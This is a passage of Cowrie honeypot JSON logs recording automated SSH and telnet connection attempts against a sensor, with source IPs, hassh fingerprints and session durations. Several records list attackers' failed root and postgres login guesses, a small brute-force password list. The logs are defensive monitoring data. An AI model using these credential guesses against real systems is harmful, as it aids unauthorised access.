,"hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:37.061124Z","src_ip":"213.209.159.158","session":"e2f82719d9db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.274088144302368,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:41.479403Z","src_ip":"187.246.5.108","session":"a7c3e455fe67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.93812012672424,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:42.936022Z","src_ip":"188.208.141.113","session":"74615858aa6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43784,"dst_ip":"10.17.0.5","dst_port":23,"session":"56ddf7e8a4ad","protocol":"telnet","message":"New connection: 188.208.141.113:43784 (10.17.0.5:23) [session: 56ddf7e8a4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:45.824126Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VirtualPrivateServer","message":"login attempt [root/VirtualPrivateServer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:46.676865Z","src_ip":"213.209.159.158","session":"e2f82719d9db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43786,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb34ba051456","protocol":"telnet","message":"New connection: 188.208.141.113:43786 (10.17.0.5:23) [session: cb34ba051456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:48.136804Z"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:49.748531Z","src_ip":"213.209.159.158","session":"e2f82719d9db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":36326,"dst_ip":"10.17.0.5","dst_port":22,"session":"74fb6d5a6cb4","protocol":"ssh","message":"New connection: 213.209.159.158:36326 (10.17.0.5:22) [session: 74fb6d5a6cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:49.838276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:51.906257Z","src_ip":"213.209.159.158","session":"74fb6d5a6cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:51.909558Z","src_ip":"213.209.159.158","session":"74fb6d5a6cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51796,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b0e9e98cdc","protocol":"telnet","message":"New connection: 188.208.141.113:51796 (10.17.0.5:23) [session: a6b0e9e98cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:54.316428Z"}
{"eventid":"cowrie.session.closed","duration":36.74846601486206,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:55.281684Z","src_ip":"188.208.141.113","session":"28d7e8ad1872","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.28367638587952,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:43:55.574313Z","src_ip":"188.208.141.113","session":"0e79962a2493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.50822901725769,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:00.824563Z","src_ip":"188.208.141.113","session":"a6b0e9e98cdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.70506024360657,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:01.179289Z","src_ip":"206.189.32.23","session":"c5943562a348","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.112794637680054,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:01.381328Z","src_ip":"206.189.32.23","session":"67fc954a2988","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VsaVb7rt","message":"login attempt [root/VsaVb7rt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:01.473259Z","src_ip":"213.209.159.158","session":"74fb6d5a6cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:04.700779Z","src_ip":"213.209.159.158","session":"74fb6d5a6cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":59112,"dst_ip":"10.17.0.5","dst_port":22,"session":"180619d15e1a","protocol":"ssh","message":"New connection: 213.209.159.158:59112 (10.17.0.5:22) [session: 180619d15e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:04.797670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:07.222485Z","src_ip":"213.209.159.158","session":"180619d15e1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:07.224986Z","src_ip":"213.209.159.158","session":"180619d15e1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"volumio","message":"login attempt [root/volumio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:16.389770Z","src_ip":"213.209.159.158","session":"180619d15e1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.20253109931946,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:17.754884Z","src_ip":"206.189.32.23","session":"32f15d9c422f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.17018008232117,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:17.830262Z","src_ip":"188.208.141.113","session":"da15eb8a16bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:19.967463Z","src_ip":"213.209.159.158","session":"180619d15e1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":36424,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf1898ed0ac6","protocol":"ssh","message":"New connection: 213.209.159.158:36424 (10.17.0.5:22) [session: cf1898ed0ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:20.071523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:22.232665Z","src_ip":"213.209.159.158","session":"cf1898ed0ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:22.235829Z","src_ip":"213.209.159.158","session":"cf1898ed0ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.89639854431152,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:25.720420Z","src_ip":"188.208.141.113","session":"56ddf7e8a4ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59366,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c775ec51efe","protocol":"telnet","message":"New connection: 162.55.233.176:59366 (159.203.135.109:23) [session: 2c775ec51efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:28.882223Z"}
{"eventid":"cowrie.session.closed","duration":41.33880853652954,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:29.475500Z","src_ip":"188.208.141.113","session":"cb34ba051456","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vip123456","message":"login attempt [root/vip123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:31.113219Z","src_ip":"213.209.159.158","session":"cf1898ed0ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39958,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd1a52f31c1c","protocol":"telnet","message":"New connection: 162.55.233.176:39958 (159.203.135.109:23) [session: cd1a52f31c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:33.633875Z"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:34.806909Z","src_ip":"213.209.159.158","session":"cf1898ed0ac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9688,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2df9c7269e","protocol":"ssh","message":"New connection: 213.209.159.158:9688 (10.17.0.5:22) [session: ce2df9c7269e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:34.887236Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35992,"dst_ip":"10.17.0.5","dst_port":23,"session":"11e33019d3f6","protocol":"telnet","message":"New connection: 188.208.141.113:35992 (10.17.0.5:23) [session: 11e33019d3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:35.267271Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33264,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7181f62cca8","protocol":"telnet","message":"New connection: 206.189.32.23:33264 (10.17.0.5:23) [session: b7181f62cca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:36.122216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:37.087302Z","src_ip":"213.209.159.158","session":"ce2df9c7269e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:37.089970Z","src_ip":"213.209.159.158","session":"ce2df9c7269e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40080,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e819f6ed81b","protocol":"telnet","message":"New connection: 206.189.32.23:40080 (10.17.0.5:23) [session: 7e819f6ed81b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:40.332848Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33318,"dst_ip":"10.17.0.5","dst_port":23,"session":"924f14ac51f6","protocol":"telnet","message":"New connection: 188.208.141.113:33318 (10.17.0.5:23) [session: 924f14ac51f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:40.850364Z"}
{"eventid":"cowrie.session.connect","src_ip":"151.244.158.249","src_port":12247,"dst_ip":"10.17.0.5","dst_port":23,"session":"52881d709f29","protocol":"telnet","message":"New connection: 151.244.158.249:12247 (10.17.0.5:23) [session: 52881d709f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:44.836778Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vn","message":"login attempt [root/vn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:46.449902Z","src_ip":"213.209.159.158","session":"ce2df9c7269e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39974,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ad3f124b2f5","protocol":"telnet","message":"New connection: 206.189.32.23:39974 (10.17.0.5:23) [session: 7ad3f124b2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:48.442750Z"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:49.710240Z","src_ip":"213.209.159.158","session":"ce2df9c7269e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":29320,"dst_ip":"10.17.0.5","dst_port":22,"session":"afac09bc2404","protocol":"ssh","message":"New connection: 213.209.159.158:29320 (10.17.0.5:22) [session: afac09bc2404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:49.788942Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47418,"dst_ip":"10.17.0.5","dst_port":23,"session":"a48beaec51ad","protocol":"telnet","message":"New connection: 188.208.141.113:47418 (10.17.0.5:23) [session: a48beaec51ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:51.866931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:51.917269Z","src_ip":"213.209.159.158","session":"afac09bc2404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:51.920804Z","src_ip":"213.209.159.158","session":"afac09bc2404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":60544,"dst_ip":"159.203.135.109","dst_port":22,"session":"80cd9038e691","protocol":"ssh","message":"New connection: 103.170.173.26:60544 (159.203.135.109:22) [session: 80cd9038e691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:52.347483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:52.351717Z","src_ip":"103.170.173.26","session":"80cd9038e691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:52.614315Z","src_ip":"103.170.173.26","session":"80cd9038e691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdf1234","message":"login attempt [postgres/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:53.697088Z","src_ip":"103.170.173.26","session":"80cd9038e691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:44:54.962505Z","src_ip":"103.170.173.26","session":"80cd9038e691","protocol":"ssh"}
